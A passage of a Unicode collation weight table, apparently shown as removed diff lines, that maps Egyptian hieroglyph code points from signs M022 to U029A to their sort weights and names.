HIEROGLYPH M022 -131D2 ; [.4FE5.0020.0002] # EGYPTIAN HIEROGLYPH M022A -131D3 ; [.4FE6.0020.0002] # EGYPTIAN HIEROGLYPH M023 -131D4 ; [.4FE7.0020.0002] # EGYPTIAN HIEROGLYPH M024 -131D5 ; [.4FE8.0020.0002] # EGYPTIAN HIEROGLYPH M024A -131D6 ; [.4FE9.0020.0002] # EGYPTIAN HIEROGLYPH M025 -131D7 ; [.4FEA.0020.0002] # EGYPTIAN HIEROGLYPH M026 -131D8 ; [.4FEB.0020.0002] # EGYPTIAN HIEROGLYPH M027 -131D9 ; [.4FEC.0020.0002] # EGYPTIAN HIEROGLYPH M028 -131DA ; [.4FED.0020.0002] # EGYPTIAN HIEROGLYPH M028A -131DB ; [.4FEE.0020.0002] # EGYPTIAN HIEROGLYPH M029 -131DC ; [.4FEF.0020.0002] # EGYPTIAN HIEROGLYPH M030 -131DD ; [.4FF0.0020.0002] # EGYPTIAN HIEROGLYPH M031 -131DE ; [.4FF1.0020.0002] # EGYPTIAN HIEROGLYPH M031A -131DF ; [.4FF2.0020.0002] # EGYPTIAN HIEROGLYPH M032 -131E0 ; [.4FF3.0020.0002] # EGYPTIAN HIEROGLYPH M033 -131E1 ; [.4FF4.0020.0002] # EGYPTIAN HIEROGLYPH M033A -131E2 ; [.4FF5.0020.0002] # EGYPTIAN HIEROGLYPH M033B -131E3 ; [.4FF6.0020.0002] # EGYPTIAN HIEROGLYPH M034 -131E4 ; [.4FF7.0020.0002] # EGYPTIAN HIEROGLYPH M035 -131E5 ; [.4FF8.0020.0002] # EGYPTIAN HIEROGLYPH M036 -131E6 ; [.4FF9.0020.0002] # EGYPTIAN HIEROGLYPH M037 -131E7 ; [.4FFA.0020.0002] # EGYPTIAN HIEROGLYPH M038 -131E8 ; [.4FFB.0020.0002] # EGYPTIAN HIEROGLYPH M039 -131E9 ; [.4FFC.0020.0002] # EGYPTIAN HIEROGLYPH M040 -131EA ; [.4FFD.0020.0002] # EGYPTIAN HIEROGLYPH M040A -131EB ; [.4FFE.0020.0002] # EGYPTIAN HIEROGLYPH M041 -131EC ; [.4FFF.0020.0002] # EGYPTIAN HIEROGLYPH M042 -131ED ; [.5000.0020.0002] # EGYPTIAN HIEROGLYPH M043 -131EE ; [.5001.0020.0002] # EGYPTIAN HIEROGLYPH M044 -131EF ; [.5002.0020.0002] # EGYPTIAN HIEROGLYPH N001 -131F0 ; [.5003.0020.0002] # EGYPTIAN HIEROGLYPH N002 -131F1 ; [.5004.0020.0002] # EGYPTIAN HIEROGLYPH N003 -131F2 ; [.5005.0020.0002] # EGYPTIAN HIEROGLYPH N004 -131F3 ; [.5006.0020.0002] # EGYPTIAN HIEROGLYPH N005 -131F4 ; [.5007.0020.0002] # EGYPTIAN HIEROGLYPH N006 -131F5 ; [.5008.0020.0002] # EGYPTIAN HIEROGLYPH N007 -131F6 ; [.5009.0020.0002] # EGYPTIAN HIEROGLYPH N008 -131F7 ; [.500A.0020.0002] # EGYPTIAN HIEROGLYPH N009 -131F8 ; [.500B.0020.0002] # EGYPTIAN HIEROGLYPH N010 -131F9 ; [.500C.0020.0002] # EGYPTIAN HIEROGLYPH N011 -131FA ; [.500D.0020.0002] # EGYPTIAN HIEROGLYPH N012 -131FB ; [.500E.0020.0002] # EGYPTIAN HIEROGLYPH N013 -131FC ; [.500F.0020.0002] # EGYPTIAN HIEROGLYPH N014 -131FD ; [.5010.0020.0002] # EGYPTIAN HIEROGLYPH N015 -131FE ; [.5011.0020.0002] # EGYPTIAN HIEROGLYPH N016 -131FF ; [.5012.0020.0002] # EGYPTIAN HIEROGLYPH N017 -13200 ; [.5013.0020.0002] # EGYPTIAN HIEROGLYPH N018 -13201 ; [.5014.0020.0002] # EGYPTIAN HIEROGLYPH N018A -13202 ; [.5015.0020.0002] # EGYPTIAN HIEROGLYPH N018B -13203 ; [.5016.0020.0002] # EGYPTIAN HIEROGLYPH N019 -13204 ; [.5017.0020.0002] # EGYPTIAN HIEROGLYPH N020 -13205 ; [.5018.0020.0002] # EGYPTIAN HIEROGLYPH N021 -13206 ; [.5019.0020.0002] # EGYPTIAN HIEROGLYPH N022 -13207 ; [.501A.0020.0002] # EGYPTIAN HIEROGLYPH N023 -13208 ; [.501B.0020.0002] # EGYPTIAN HIEROGLYPH N024 -13209 ; [.501C.0020.0002] # EGYPTIAN HIEROGLYPH N025 -1320A ; [.501D.0020.0002] # EGYPTIAN HIEROGLYPH N025A -1320B ; [.501E.0020.0002] # EGYPTIAN HIEROGLYPH N026 -1320C ; [.501F.0020.0002] # EGYPTIAN HIEROGLYPH N027 -1320D ; [.5020.0020.0002] # EGYPTIAN HIEROGLYPH N028 -1320E ; [.5021.0020.0002] # EGYPTIAN HIEROGLYPH N029 -1320F ; [.5022.0020.0002] # EGYPTIAN HIEROGLYPH N030 -13210 ; [.5023.0020.0002] # EGYPTIAN HIEROGLYPH N031 -13211 ; [.5024.0020.0002] # EGYPTIAN HIEROGLYPH N032 -13212 ; [.5025.0020.0002] # EGYPTIAN HIEROGLYPH N033 -13213 ; [.5026.0020.0002] # EGYPTIAN HIEROGLYPH N033A -13214 ; [.5027.0020.0002] # EGYPTIAN HIEROGLYPH N034 -13215 ; [.5028.0020.0002] # EGYPTIAN HIEROGLYPH N034A -13216 ; [.5029.0020.0002] # EGYPTIAN HIEROGLYPH N035 -13217 ; [.502A.0020.0002] # EGYPTIAN HIEROGLYPH N035A -13218 ; [.502B.0020.0002] # EGYPTIAN HIEROGLYPH N036 -13219 ; [.502C.0020.0002] # EGYPTIAN HIEROGLYPH N037 -1321A ; [.502D.0020.0002] # EGYPTIAN HIEROGLYPH N037A -1321B ; [.502E.0020.0002] # EGYPTIAN HIEROGLYPH N038 -1321C ; [.502F.0020.0002] # EGYPTIAN HIEROGLYPH N039 -1321D ; [.5030.0020.0002] # EGYPTIAN HIEROGLYPH N040 -1321E ; [.5031.0020.0002] # EGYPTIAN HIEROGLYPH N041 -1321F ; [.5032.0020.0002] # EGYPTIAN HIEROGLYPH N042 -13220 ; [.5033.0020.0002] # EGYPTIAN HIEROGLYPH NL001 -13221 ; [.5034.0020.0002] # EGYPTIAN HIEROGLYPH NL002 -13222 ; [.5035.0020.0002] # EGYPTIAN HIEROGLYPH NL003 -13223 ; [.5036.0020.0002] # EGYPTIAN HIEROGLYPH NL004 -13224 ; [.5037.0020.0002] # EGYPTIAN HIEROGLYPH NL005 -13225 ; [.5038.0020.0002] # EGYPTIAN HIEROGLYPH NL005A -13226 ; [.5039.0020.0002] # EGYPTIAN HIEROGLYPH NL006 -13227 ; [.503A.0020.0002] # EGYPTIAN HIEROGLYPH NL007 -13228 ; [.503B.0020.0002] # EGYPTIAN HIEROGLYPH NL008 -13229 ; [.503C.0020.0002] # EGYPTIAN HIEROGLYPH NL009 -1322A ; [.503D.0020.0002] # EGYPTIAN HIEROGLYPH NL010 -1322B ; [.503E.0020.0002] # EGYPTIAN HIEROGLYPH NL011 -1322C ; [.503F.0020.0002] # EGYPTIAN HIEROGLYPH NL012 -1322D ; [.5040.0020.0002] # EGYPTIAN HIEROGLYPH NL013 -1322E ; [.5041.0020.0002] # EGYPTIAN HIEROGLYPH NL014 -1322F ; [.5042.0020.0002] # EGYPTIAN HIEROGLYPH NL015 -13230 ; [.5043.0020.0002] # EGYPTIAN HIEROGLYPH NL016 -13231 ; [.5044.0020.0002] # EGYPTIAN HIEROGLYPH NL017 -13232 ; [.5045.0020.0002] # EGYPTIAN HIEROGLYPH NL017A -13233 ; [.5046.0020.0002] # EGYPTIAN HIEROGLYPH NL018 -13234 ; [.5047.0020.0002] # EGYPTIAN HIEROGLYPH NL019 -13235 ; [.5048.0020.0002] # EGYPTIAN HIEROGLYPH NL020 -13236 ; [.5049.0020.0002] # EGYPTIAN HIEROGLYPH NU001 -13237 ; [.504A.0020.0002] # EGYPTIAN HIEROGLYPH NU002 -13238 ; [.504B.0020.0002] # EGYPTIAN HIEROGLYPH NU003 -13239 ; [.504C.0020.0002] # EGYPTIAN HIEROGLYPH NU004 -1323A ; [.504D.0020.0002] # EGYPTIAN HIEROGLYPH NU005 -1323B ; [.504E.0020.0002] # EGYPTIAN HIEROGLYPH NU006 -1323C ; [.504F.0020.0002] # EGYPTIAN HIEROGLYPH NU007 -1323D ; [.5050.0020.0002] # EGYPTIAN HIEROGLYPH NU008 -1323E ; [.5051.0020.0002] # EGYPTIAN HIEROGLYPH NU009 -1323F ; [.5052.0020.0002] # EGYPTIAN HIEROGLYPH NU010 -13240 ; [.5053.0020.0002] # EGYPTIAN HIEROGLYPH NU010A -13241 ; [.5054.0020.0002] # EGYPTIAN HIEROGLYPH NU011 -13242 ; [.5055.0020.0002] # EGYPTIAN HIEROGLYPH NU011A -13243 ; [.5056.0020.0002] # EGYPTIAN HIEROGLYPH NU012 -13244 ; [.5057.0020.0002] # EGYPTIAN HIEROGLYPH NU013 -13245 ; [.5058.0020.0002] # EGYPTIAN HIEROGLYPH NU014 -13246 ; [.5059.0020.0002] # EGYPTIAN HIEROGLYPH NU015 -13247 ; [.505A.0020.0002] # EGYPTIAN HIEROGLYPH NU016 -13248 ; [.505B.0020.0002] # EGYPTIAN HIEROGLYPH NU017 -13249 ; [.505C.0020.0002] # EGYPTIAN HIEROGLYPH NU018 -1324A ; [.505D.0020.0002] # EGYPTIAN HIEROGLYPH NU018A -1324B ; [.505E.0020.0002] # EGYPTIAN HIEROGLYPH NU019 -1324C ; [.505F.0020.0002] # EGYPTIAN HIEROGLYPH NU020 -1324D ; [.5060.0020.0002] # EGYPTIAN HIEROGLYPH NU021 -1324E ; [.5061.0020.0002] # EGYPTIAN HIEROGLYPH NU022 -1324F ; [.5062.0020.0002] # EGYPTIAN HIEROGLYPH NU022A -13250 ; [.5063.0020.0002] # EGYPTIAN HIEROGLYPH O001 -13251 ; [.5064.0020.0002] # EGYPTIAN HIEROGLYPH O001A -13252 ; [.5065.0020.0002] # EGYPTIAN HIEROGLYPH O002 -13253 ; [.5066.0020.0002] # EGYPTIAN HIEROGLYPH O003 -13254 ; [.5067.0020.0002] # EGYPTIAN HIEROGLYPH O004 -13255 ; [.5068.0020.0002] # EGYPTIAN HIEROGLYPH O005 -13256 ; [.5069.0020.0002] # EGYPTIAN HIEROGLYPH O005A -13257 ; [.506A.0020.0002] # EGYPTIAN HIEROGLYPH O006 -13258 ; [.506B.0020.0002] # EGYPTIAN HIEROGLYPH O006A -13259 ; [.506C.0020.0002] # EGYPTIAN HIEROGLYPH O006B -1325A ; [.506D.0020.0002] # EGYPTIAN HIEROGLYPH O006C -1325B ; [.506E.0020.0002] # EGYPTIAN HIEROGLYPH O006D -1325C ; [.506F.0020.0002] # EGYPTIAN HIEROGLYPH O006E -1325D ; [.5070.0020.0002] # EGYPTIAN HIEROGLYPH O006F -1325E ; [.5071.0020.0002] # EGYPTIAN HIEROGLYPH O007 -1325F ; [.5072.0020.0002] # EGYPTIAN HIEROGLYPH O008 -13260 ; [.5073.0020.0002] # EGYPTIAN HIEROGLYPH O009 -13261 ; [.5074.0020.0002] # EGYPTIAN HIEROGLYPH O010 -13262 ; [.5075.0020.0002] # EGYPTIAN HIEROGLYPH O010A -13263 ; [.5076.0020.0002] # EGYPTIAN HIEROGLYPH O010B -13264 ; [.5077.0020.0002] # EGYPTIAN HIEROGLYPH O010C -13265 ; [.5078.0020.0002] # EGYPTIAN HIEROGLYPH O011 -13266 ; [.5079.0020.0002] # EGYPTIAN HIEROGLYPH O012 -13267 ; [.507A.0020.0002] # EGYPTIAN HIEROGLYPH O013 -13268 ; [.507B.0020.0002] # EGYPTIAN HIEROGLYPH O014 -13269 ; [.507C.0020.0002] # EGYPTIAN HIEROGLYPH O015 -1326A ; [.507D.0020.0002] # EGYPTIAN HIEROGLYPH O016 -1326B ; [.507E.0020.0002] # EGYPTIAN HIEROGLYPH O017 -1326C ; [.507F.0020.0002] # EGYPTIAN HIEROGLYPH O018 -1326D ; [.5080.0020.0002] # EGYPTIAN HIEROGLYPH O019 -1326E ; [.5081.0020.0002] # EGYPTIAN HIEROGLYPH O019A -1326F ; [.5082.0020.0002] # EGYPTIAN HIEROGLYPH O020 -13270 ; [.5083.0020.0002] # EGYPTIAN HIEROGLYPH O020A -13271 ; [.5084.0020.0002] # EGYPTIAN HIEROGLYPH O021 -13272 ; [.5085.0020.0002] # EGYPTIAN HIEROGLYPH O022 -13273 ; [.5086.0020.0002] # EGYPTIAN HIEROGLYPH O023 -13274 ; [.5087.0020.0002] # EGYPTIAN HIEROGLYPH O024 -13275 ; [.5088.0020.0002] # EGYPTIAN HIEROGLYPH O024A -13276 ; [.5089.0020.0002] # EGYPTIAN HIEROGLYPH O025 -13277 ; [.508A.0020.0002] # EGYPTIAN HIEROGLYPH O025A -13278 ; [.508B.0020.0002] # EGYPTIAN HIEROGLYPH O026 -13279 ; [.508C.0020.0002] # EGYPTIAN HIEROGLYPH O027 -1327A ; [.508D.0020.0002] # EGYPTIAN HIEROGLYPH O028 -1327B ; [.508E.0020.0002] # EGYPTIAN HIEROGLYPH O029 -1327C ; [.508F.0020.0002] # EGYPTIAN HIEROGLYPH O029A -1327D ; [.5090.0020.0002] # EGYPTIAN HIEROGLYPH O030 -1327E ; [.5091.0020.0002] # EGYPTIAN HIEROGLYPH O030A -1327F ; [.5092.0020.0002] # EGYPTIAN HIEROGLYPH O031 -13280 ; [.5093.0020.0002] # EGYPTIAN HIEROGLYPH O032 -13281 ; [.5094.0020.0002] # EGYPTIAN HIEROGLYPH O033 -13282 ; [.5095.0020.0002] # EGYPTIAN HIEROGLYPH O033A -13283 ; [.5096.0020.0002] # EGYPTIAN HIEROGLYPH O034 -13284 ; [.5097.0020.0002] # EGYPTIAN HIEROGLYPH O035 -13285 ; [.5098.0020.0002] # EGYPTIAN HIEROGLYPH O036 -13286 ; [.5099.0020.0002] # EGYPTIAN HIEROGLYPH O036A -13287 ; [.509A.0020.0002] # EGYPTIAN HIEROGLYPH O036B -13288 ; [.509B.0020.0002] # EGYPTIAN HIEROGLYPH O036C -13289 ; [.509C.0020.0002] # EGYPTIAN HIEROGLYPH O036D -1328A ; [.509D.0020.0002] # EGYPTIAN HIEROGLYPH O037 -1328B ; [.509E.0020.0002] # EGYPTIAN HIEROGLYPH O038 -1328C ; [.509F.0020.0002] # EGYPTIAN HIEROGLYPH O039 -1328D ; [.50A0.0020.0002] # EGYPTIAN HIEROGLYPH O040 -1328E ; [.50A1.0020.0002] # EGYPTIAN HIEROGLYPH O041 -1328F ; [.50A2.0020.0002] # EGYPTIAN HIEROGLYPH O042 -13290 ; [.50A3.0020.0002] # EGYPTIAN HIEROGLYPH O043 -13291 ; [.50A4.0020.0002] # EGYPTIAN HIEROGLYPH O044 -13292 ; [.50A5.0020.0002] # EGYPTIAN HIEROGLYPH O045 -13293 ; [.50A6.0020.0002] # EGYPTIAN HIEROGLYPH O046 -13294 ; [.50A7.0020.0002] # EGYPTIAN HIEROGLYPH O047 -13295 ; [.50A8.0020.0002] # EGYPTIAN HIEROGLYPH O048 -13296 ; [.50A9.0020.0002] # EGYPTIAN HIEROGLYPH O049 -13297 ; [.50AA.0020.0002] # EGYPTIAN HIEROGLYPH O050 -13298 ; [.50AB.0020.0002] # EGYPTIAN HIEROGLYPH O050A -13299 ; [.50AC.0020.0002] # EGYPTIAN HIEROGLYPH O050B -1329A ; [.50AD.0020.0002] # EGYPTIAN HIEROGLYPH O051 -1329B ; [.50AE.0020.0002] # EGYPTIAN HIEROGLYPH P001 -1329C ; [.50AF.0020.0002] # EGYPTIAN HIEROGLYPH P001A -1329D ; [.50B0.0020.0002] # EGYPTIAN HIEROGLYPH P002 -1329E ; [.50B1.0020.0002] # EGYPTIAN HIEROGLYPH P003 -1329F ; [.50B2.0020.0002] # EGYPTIAN HIEROGLYPH P003A -132A0 ; [.50B3.0020.0002] # EGYPTIAN HIEROGLYPH P004 -132A1 ; [.50B4.0020.0002] # EGYPTIAN HIEROGLYPH P005 -132A2 ; [.50B5.0020.0002] # EGYPTIAN HIEROGLYPH P006 -132A3 ; [.50B6.0020.0002] # EGYPTIAN HIEROGLYPH P007 -132A4 ; [.50B7.0020.0002] # EGYPTIAN HIEROGLYPH P008 -132A5 ; [.50B8.0020.0002] # EGYPTIAN HIEROGLYPH P009 -132A6 ; [.50B9.0020.0002] # EGYPTIAN HIEROGLYPH P010 -132A7 ; [.50BA.0020.0002] # EGYPTIAN HIEROGLYPH P011 -132A8 ; [.50BB.0020.0002] # EGYPTIAN HIEROGLYPH Q001 -132A9 ; [.50BC.0020.0002] # EGYPTIAN HIEROGLYPH Q002 -132AA ; [.50BD.0020.0002] # EGYPTIAN HIEROGLYPH Q003 -132AB ; [.50BE.0020.0002] # EGYPTIAN HIEROGLYPH Q004 -132AC ; [.50BF.0020.0002] # EGYPTIAN HIEROGLYPH Q005 -132AD ; [.50C0.0020.0002] # EGYPTIAN HIEROGLYPH Q006 -132AE ; [.50C1.0020.0002] # EGYPTIAN HIEROGLYPH Q007 -132AF ; [.50C2.0020.0002] # EGYPTIAN HIEROGLYPH R001 -132B0 ; [.50C3.0020.0002] # EGYPTIAN HIEROGLYPH R002 -132B1 ; [.50C4.0020.0002] # EGYPTIAN HIEROGLYPH R002A -132B2 ; [.50C5.0020.0002] # EGYPTIAN HIEROGLYPH R003 -132B3 ; [.50C6.0020.0002] # EGYPTIAN HIEROGLYPH R003A -132B4 ; [.50C7.0020.0002] # EGYPTIAN HIEROGLYPH R003B -132B5 ; [.50C8.0020.0002] # EGYPTIAN HIEROGLYPH R004 -132B6 ; [.50C9.0020.0002] # EGYPTIAN HIEROGLYPH R005 -132B7 ; [.50CA.0020.0002] # EGYPTIAN HIEROGLYPH R006 -132B8 ; [.50CB.0020.0002] # EGYPTIAN HIEROGLYPH R007 -132B9 ; [.50CC.0020.0002] # EGYPTIAN HIEROGLYPH R008 -132BA ; [.50CD.0020.0002] # EGYPTIAN HIEROGLYPH R009 -132BB ; [.50CE.0020.0002] # EGYPTIAN HIEROGLYPH R010 -132BC ; [.50CF.0020.0002] # EGYPTIAN HIEROGLYPH R010A -132BD ; [.50D0.0020.0002] # EGYPTIAN HIEROGLYPH R011 -132BE ; [.50D1.0020.0002] # EGYPTIAN HIEROGLYPH R012 -132BF ; [.50D2.0020.0002] # EGYPTIAN HIEROGLYPH R013 -132C0 ; [.50D3.0020.0002] # EGYPTIAN HIEROGLYPH R014 -132C1 ; [.50D4.0020.0002] # EGYPTIAN HIEROGLYPH R015 -132C2 ; [.50D5.0020.0002] # EGYPTIAN HIEROGLYPH R016 -132C3 ; [.50D6.0020.0002] # EGYPTIAN HIEROGLYPH R016A -132C4 ; [.50D7.0020.0002] # EGYPTIAN HIEROGLYPH R017 -132C5 ; [.50D8.0020.0002] # EGYPTIAN HIEROGLYPH R018 -132C6 ; [.50D9.0020.0002] # EGYPTIAN HIEROGLYPH R019 -132C7 ; [.50DA.0020.0002] # EGYPTIAN HIEROGLYPH R020 -132C8 ; [.50DB.0020.0002] # EGYPTIAN HIEROGLYPH R021 -132C9 ; [.50DC.0020.0002] # EGYPTIAN HIEROGLYPH R022 -132CA ; [.50DD.0020.0002] # EGYPTIAN HIEROGLYPH R023 -132CB ; [.50DE.0020.0002] # EGYPTIAN HIEROGLYPH R024 -132CC ; [.50DF.0020.0002] # EGYPTIAN HIEROGLYPH R025 -132CD ; [.50E0.0020.0002] # EGYPTIAN HIEROGLYPH R026 -132CE ; [.50E1.0020.0002] # EGYPTIAN HIEROGLYPH R027 -132CF ; [.50E2.0020.0002] # EGYPTIAN HIEROGLYPH R028 -132D0 ; [.50E3.0020.0002] # EGYPTIAN HIEROGLYPH R029 -132D1 ; [.50E4.0020.0002] # EGYPTIAN HIEROGLYPH S001 -132D2 ; [.50E5.0020.0002] # EGYPTIAN HIEROGLYPH S002 -132D3 ; [.50E6.0020.0002] # EGYPTIAN HIEROGLYPH S002A -132D4 ; [.50E7.0020.0002] # EGYPTIAN HIEROGLYPH S003 -132D5 ; [.50E8.0020.0002] # EGYPTIAN HIEROGLYPH S004 -132D6 ; [.50E9.0020.0002] # EGYPTIAN HIEROGLYPH S005 -132D7 ; [.50EA.0020.0002] # EGYPTIAN HIEROGLYPH S006 -132D8 ; [.50EB.0020.0002] # EGYPTIAN HIEROGLYPH S006A -132D9 ; [.50EC.0020.0002] # EGYPTIAN HIEROGLYPH S007 -132DA ; [.50ED.0020.0002] # EGYPTIAN HIEROGLYPH S008 -132DB ; [.50EE.0020.0002] # EGYPTIAN HIEROGLYPH S009 -132DC ; [.50EF.0020.0002] # EGYPTIAN HIEROGLYPH S010 -132DD ; [.50F0.0020.0002] # EGYPTIAN HIEROGLYPH S011 -132DE ; [.50F1.0020.0002] # EGYPTIAN HIEROGLYPH S012 -132DF ; [.50F2.0020.0002] # EGYPTIAN HIEROGLYPH S013 -132E0 ; [.50F3.0020.0002] # EGYPTIAN HIEROGLYPH S014 -132E1 ; [.50F4.0020.0002] # EGYPTIAN HIEROGLYPH S014A -132E2 ; [.50F5.0020.0002] # EGYPTIAN HIEROGLYPH S014B -132E3 ; [.50F6.0020.0002] # EGYPTIAN HIEROGLYPH S015 -132E4 ; [.50F7.0020.0002] # EGYPTIAN HIEROGLYPH S016 -132E5 ; [.50F8.0020.0002] # EGYPTIAN HIEROGLYPH S017 -132E6 ; [.50F9.0020.0002] # EGYPTIAN HIEROGLYPH S017A -132E7 ; [.50FA.0020.0002] # EGYPTIAN HIEROGLYPH S018 -132E8 ; [.50FB.0020.0002] # EGYPTIAN HIEROGLYPH S019 -132E9 ; [.50FC.0020.0002] # EGYPTIAN HIEROGLYPH S020 -132EA ; [.50FD.0020.0002] # EGYPTIAN HIEROGLYPH S021 -132EB ; [.50FE.0020.0002] # EGYPTIAN HIEROGLYPH S022 -132EC ; [.50FF.0020.0002] # EGYPTIAN HIEROGLYPH S023 -132ED ; [.5100.0020.0002] # EGYPTIAN HIEROGLYPH S024 -132EE ; [.5101.0020.0002] # EGYPTIAN HIEROGLYPH S025 -132EF ; [.5102.0020.0002] # EGYPTIAN HIEROGLYPH S026 -132F0 ; [.5103.0020.0002] # EGYPTIAN HIEROGLYPH S026A -132F1 ; [.5104.0020.0002] # EGYPTIAN HIEROGLYPH S026B -132F2 ; [.5105.0020.0002] # EGYPTIAN HIEROGLYPH S027 -132F3 ; [.5106.0020.0002] # EGYPTIAN HIEROGLYPH S028 -132F4 ; [.5107.0020.0002] # EGYPTIAN HIEROGLYPH S029 -132F5 ; [.5108.0020.0002] # EGYPTIAN HIEROGLYPH S030 -132F6 ; [.5109.0020.0002] # EGYPTIAN HIEROGLYPH S031 -132F7 ; [.510A.0020.0002] # EGYPTIAN HIEROGLYPH S032 -132F8 ; [.510B.0020.0002] # EGYPTIAN HIEROGLYPH S033 -132F9 ; [.510C.0020.0002] # EGYPTIAN HIEROGLYPH S034 -132FA ; [.510D.0020.0002] # EGYPTIAN HIEROGLYPH S035 -132FB ; [.510E.0020.0002] # EGYPTIAN HIEROGLYPH S035A -132FC ; [.510F.0020.0002] # EGYPTIAN HIEROGLYPH S036 -132FD ; [.5110.0020.0002] # EGYPTIAN HIEROGLYPH S037 -132FE ; [.5111.0020.0002] # EGYPTIAN HIEROGLYPH S038 -132FF ; [.5112.0020.0002] # EGYPTIAN HIEROGLYPH S039 -13300 ; [.5113.0020.0002] # EGYPTIAN HIEROGLYPH S040 -13301 ; [.5114.0020.0002] # EGYPTIAN HIEROGLYPH S041 -13302 ; [.5115.0020.0002] # EGYPTIAN HIEROGLYPH S042 -13303 ; [.5116.0020.0002] # EGYPTIAN HIEROGLYPH S043 -13304 ; [.5117.0020.0002] # EGYPTIAN HIEROGLYPH S044 -13305 ; [.5118.0020.0002] # EGYPTIAN HIEROGLYPH S045 -13306 ; [.5119.0020.0002] # EGYPTIAN HIEROGLYPH S046 -13307 ; [.511A.0020.0002] # EGYPTIAN HIEROGLYPH T001 -13308 ; [.511B.0020.0002] # EGYPTIAN HIEROGLYPH T002 -13309 ; [.511C.0020.0002] # EGYPTIAN HIEROGLYPH T003 -1330A ; [.511D.0020.0002] # EGYPTIAN HIEROGLYPH T003A -1330B ; [.511E.0020.0002] # EGYPTIAN HIEROGLYPH T004 -1330C ; [.511F.0020.0002] # EGYPTIAN HIEROGLYPH T005 -1330D ; [.5120.0020.0002] # EGYPTIAN HIEROGLYPH T006 -1330E ; [.5121.0020.0002] # EGYPTIAN HIEROGLYPH T007 -1330F ; [.5122.0020.0002] # EGYPTIAN HIEROGLYPH T007A -13310 ; [.5123.0020.0002] # EGYPTIAN HIEROGLYPH T008 -13311 ; [.5124.0020.0002] # EGYPTIAN HIEROGLYPH T008A -13312 ; [.5125.0020.0002] # EGYPTIAN HIEROGLYPH T009 -13313 ; [.5126.0020.0002] # EGYPTIAN HIEROGLYPH T009A -13314 ; [.5127.0020.0002] # EGYPTIAN HIEROGLYPH T010 -13315 ; [.5128.0020.0002] # EGYPTIAN HIEROGLYPH T011 -13316 ; [.5129.0020.0002] # EGYPTIAN HIEROGLYPH T011A -13317 ; [.512A.0020.0002] # EGYPTIAN HIEROGLYPH T012 -13318 ; [.512B.0020.0002] # EGYPTIAN HIEROGLYPH T013 -13319 ; [.512C.0020.0002] # EGYPTIAN HIEROGLYPH T014 -1331A ; [.512D.0020.0002] # EGYPTIAN HIEROGLYPH T015 -1331B ; [.512E.0020.0002] # EGYPTIAN HIEROGLYPH T016 -1331C ; [.512F.0020.0002] # EGYPTIAN HIEROGLYPH T016A -1331D ; [.5130.0020.0002] # EGYPTIAN HIEROGLYPH T017 -1331E ; [.5131.0020.0002] # EGYPTIAN HIEROGLYPH T018 -1331F ; [.5132.0020.0002] # EGYPTIAN HIEROGLYPH T019 -13320 ; [.5133.0020.0002] # EGYPTIAN HIEROGLYPH T020 -13321 ; [.5134.0020.0002] # EGYPTIAN HIEROGLYPH T021 -13322 ; [.5135.0020.0002] # EGYPTIAN HIEROGLYPH T022 -13323 ; [.5136.0020.0002] # EGYPTIAN HIEROGLYPH T023 -13324 ; [.5137.0020.0002] # EGYPTIAN HIEROGLYPH T024 -13325 ; [.5138.0020.0002] # EGYPTIAN HIEROGLYPH T025 -13326 ; [.5139.0020.0002] # EGYPTIAN HIEROGLYPH T026 -13327 ; [.513A.0020.0002] # EGYPTIAN HIEROGLYPH T027 -13328 ; [.513B.0020.0002] # EGYPTIAN HIEROGLYPH T028 -13329 ; [.513C.0020.0002] # EGYPTIAN HIEROGLYPH T029 -1332A ; [.513D.0020.0002] # EGYPTIAN HIEROGLYPH T030 -1332B ; [.513E.0020.0002] # EGYPTIAN HIEROGLYPH T031 -1332C ; [.513F.0020.0002] # EGYPTIAN HIEROGLYPH T032 -1332D ; [.5140.0020.0002] # EGYPTIAN HIEROGLYPH T032A -1332E ; [.5141.0020.0002] # EGYPTIAN HIEROGLYPH T033 -1332F ; [.5142.0020.0002] # EGYPTIAN HIEROGLYPH T033A -13330 ; [.5143.0020.0002] # EGYPTIAN HIEROGLYPH T034 -13331 ; [.5144.0020.0002] # EGYPTIAN HIEROGLYPH T035 -13332 ; [.5145.0020.0002] # EGYPTIAN HIEROGLYPH T036 -13333 ; [.5146.0020.0002] # EGYPTIAN HIEROGLYPH U001 -13334 ; [.5147.0020.0002] # EGYPTIAN HIEROGLYPH U002 -13335 ; [.5148.0020.0002] # EGYPTIAN HIEROGLYPH U003 -13336 ; [.5149.0020.0002] # EGYPTIAN HIEROGLYPH U004 -13337 ; [.514A.0020.0002] # EGYPTIAN HIEROGLYPH U005 -13338 ; [.514B.0020.0002] # EGYPTIAN HIEROGLYPH U006 -13339 ; [.514C.0020.0002] # EGYPTIAN HIEROGLYPH U006A -1333A ; [.514D.0020.0002] # EGYPTIAN HIEROGLYPH U006B -1333B ; [.514E.0020.0002] # EGYPTIAN HIEROGLYPH U007 -1333C ; [.514F.0020.0002] # EGYPTIAN HIEROGLYPH U008 -1333D ; [.5150.0020.0002] # EGYPTIAN HIEROGLYPH U009 -1333E ; [.5151.0020.0002] # EGYPTIAN HIEROGLYPH U010 -1333F ; [.5152.0020.0002] # EGYPTIAN HIEROGLYPH U011 -13340 ; [.5153.0020.0002] # EGYPTIAN HIEROGLYPH U012 -13341 ; [.5154.0020.0002] # EGYPTIAN HIEROGLYPH U013 -13342 ; [.5155.0020.0002] # EGYPTIAN HIEROGLYPH U014 -13343 ; [.5156.0020.0002] # EGYPTIAN HIEROGLYPH U015 -13344 ; [.5157.0020.0002] # EGYPTIAN HIEROGLYPH U016 -13345 ; [.5158.0020.0002] # EGYPTIAN HIEROGLYPH U017 -13346 ; [.5159.0020.0002] # EGYPTIAN HIEROGLYPH U018 -13347 ; [.515A.0020.0002] # EGYPTIAN HIEROGLYPH U019 -13348 ; [.515B.0020.0002] # EGYPTIAN HIEROGLYPH U020 -13349 ; [.515C.0020.0002] # EGYPTIAN HIEROGLYPH U021 -1334A ; [.515D.0020.0002] # EGYPTIAN HIEROGLYPH U022 -1334B ; [.515E.0020.0002] # EGYPTIAN HIEROGLYPH U023 -1334C ; [.515F.0020.0002] # EGYPTIAN HIEROGLYPH U023A -1334D ; [.5160.0020.0002] # EGYPTIAN HIEROGLYPH U024 -1334E ; [.5161.0020.0002] # EGYPTIAN HIEROGLYPH U025 -1334F ; [.5162.0020.0002] # EGYPTIAN HIEROGLYPH U026 -13350 ; [.5163.0020.0002] # EGYPTIAN HIEROGLYPH U027 -13351 ; [.5164.0020.0002] # EGYPTIAN HIEROGLYPH U028 -13352 ; [.5165.0020.0002] # EGYPTIAN HIEROGLYPH U029 -13353 ; [.5166.0020.0002] # EGYPTIAN HIEROGLYPH U029A -13354 ; [.5167.0020.0002] # EGYPTIAN 